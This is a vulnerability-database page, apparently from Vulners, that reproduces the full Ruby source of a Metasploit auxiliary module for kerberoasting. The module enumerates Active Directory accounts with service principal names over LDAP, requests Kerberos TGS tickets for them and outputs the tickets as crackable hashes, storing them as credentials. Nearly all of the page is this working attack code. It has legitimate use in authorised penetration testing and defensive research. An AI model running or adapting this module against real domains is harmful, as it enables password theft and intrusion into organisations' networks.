Lucene search
K

Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)

🗓️ 16 May 2025 18:51:36Reported by Alberto Solino, smasheryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 393 Views

This module gathers TGS tickets for user service principal names to enable offline kerberoasting attacks.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Kerberos::Client
  include Msf::Exploit::Remote::LDAP
  include Msf::Exploit::Remote::LDAP::ActiveDirectory
  include Msf::Exploit::Remote::LDAP::Queries
  include Msf::OptionalSession::LDAP
  include Msf::Exploit::Deprecated

  moved_from 'auxiliary/gather/get_user_spns'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)',
        'Description' => %q{
          This module will try to find Service Principal Names that are associated with normal user accounts.
          Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request
          will encrypt the ticket with the account the SPN is running under, this could be used for an offline
          bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
          This is part of the kerberoast attack research by Tim Medin (@timmedin).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alberto Solino', # impacket example
          'smashery', # MSF Module
        ],
        'References' => [
          ['URL', 'https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py'],
          ['ATT&CK', Mitre::Attack::Technique::T1558_003_KERBEROASTING]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [],
          'AKA' => ['GetUserSpns.py', 'get_user_spns']
        }
      )
    )

    register_options(
      [
        OptString.new('TARGET_USER', [ false, 'Specific user to kerberoast' ]),
        OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
        Msf::OptAddress.new('DomainControllerRhost', [false, 'The resolvable rhost for the Domain Controller'], fallbacks: ['rhost']),
      ]
    )
    register_advanced_options(
      [
        OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
      ]
    )
  end

  def run
    if datastore['TARGET_USER'].blank?
      run_ldap
    else
      run_user
    end
  rescue Errno::ECONNRESET
    fail_with(Failure::Disconnected, 'The connection was reset.')
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
    fail_with(Failure::NoAccess, e.message)
  rescue Net::LDAP::Error => e
    fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
  end

  def verify_option(opt)
    value = datastore[opt]
    if session.nil? && value.blank?
      fail_with(Msf::Module::Failure::BadConfig, "You must set the '#{opt}' option when running the module without a pre-existing LDAP session.")
    end
  end

  def verify_options
    %w[LDAPDomain LDAPUsername LDAPPassword].each { |opt| verify_option(opt) }
  end

  def run_user
    verify_options

    user = datastore['TARGET_USER']
    realm = user_object = nil
    ldap_connect do |ldap|
      validate_bind_success!(ldap)
      realm = adds_get_domain_info(ldap)[:dns_name]
      user_object = adds_get_object_by_samaccountname(ldap, user)
    end

    if user_object.nil?
      fail_with(Failure::BadConfig, "User #{user} not found")
    elsif user_object[:serviceprincipalname].nil?
      fail_with(Failure::BadConfig, "User #{user} has no SPN")
    end
    begin
      jtr = roast(user, user_object[:serviceprincipalname].first, realm: realm)
      jtr_format = Metasploit::Framework::Hashes.identify_hash(jtr)
      report_hash(jtr, jtr_format, realm: realm)
      print_good("Success: \n#{jtr}")
    rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
      print_error("#{user} reported as kerberoastable, but received error when attempting to retrieve TGS (#{e})")
    end
  end

  def run_ldap
    verify_options
    jtr_formats = Set.new
    hashes = []

    realm = nil
    ldap_connect do |ldap|
      validate_bind_success!(ldap)
      realm = adds_get_domain_info(ldap)[:dns_name]

      run_builtin_ldap_query('ENUM_USER_SPNS_KERBEROAST', ldap: ldap) do |result|
        spn = result.serviceprincipalname[0]
        username = result.samaccountname[0]
        begin
          jtr = roast(username, spn, realm: realm)
          hashes.append(jtr)
          jtr_format = Metasploit::Framework::Hashes.identify_hash(jtr)
          jtr_formats.add(jtr_format)
          report_hash(jtr, jtr_format, realm: realm)
        rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
          print_error("#{username} reported as kerberoastable, but received error when attempting to retrieve TGS (#{e})")
        end
      end
    end
    if hashes.empty?
      print_error('No hashes were obtained from kerberoasting.')
      return
    end

    print_good("Success: \n#{hashes.join("\n")}")

    if jtr_formats.length > 1
      print_warning('NOTE: Multiple encryption types returned - will require separate cracking runs for each type.')
      print_status('To obtain the crackable values for a particular type, run `creds`:')
      jtr_formats.each do |format|
        print_status("creds -t #{format} -O #{datastore['RHOST']} -o <outfile.(jtr|hcat)>")
      end
    end
  end

  def roast(roasted, spn, realm:)
    components = spn.split('/')
    fail_with(Failure::UnexpectedReply, "Invalid SPN: #{spn}") unless components.length == 2

    sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
      name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
      name_string: components
    )

    dc_rhost = datastore['DomainControllerRhost']
    dc_rhost ||= session.client.peerhost if session
    username = session ? session.client.username : datastore['LDAPUsername']
    password = session ? session.client.password : datastore['LDAPPassword']
    authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(
      host: dc_rhost,
      realm: realm,
      username: username,
      password: password,
      framework: framework,
      framework_module: framework_module,
      ticket_storage: kerberos_ticket_storage
    )

    # Get a TGT - allow getting from cache
    options = {
      cache_file: datastore['LDAP::Krb5Ccname']
    }
    credential = authenticator.request_tgt_only(options)

    now = Time.now.utc
    expiry_time = now + 1.day

    ticket = Rex::Proto::Kerberos::Model::Ticket.decode(credential.ticket.value)
    session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
      type: credential.keyblock.enctype.value,
      value: credential.keyblock.data.value
    )

    tgs_options = {
      pa_data: []
    }

    tgs_ticket, = authenticator.request_service_ticket(
      session_key,
      ticket,
      realm.upcase,
      username,
      offered_etypes,
      expiry_time,
      now,
      sname,
      tgs_options
    )

    format_tgs_rep_to_john_hash(tgs_ticket, roasted)
  end

  def report_hash(hash, jtr_format, realm:)
    dc_rhost = datastore['DomainControllerRhost']
    dc_rhost ||= session.client.peerhost if session

    service_data = {
      address: dc_rhost,
      port: 88,
      service_name: 'kerberos',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: jtr_format,
      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
      realm_value: realm
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def offered_etypes
    Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['LDAP::KrbOfferedEncryptionTypes'])
  end

  attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
5.8Medium risk
Vulners AI Score5.8
393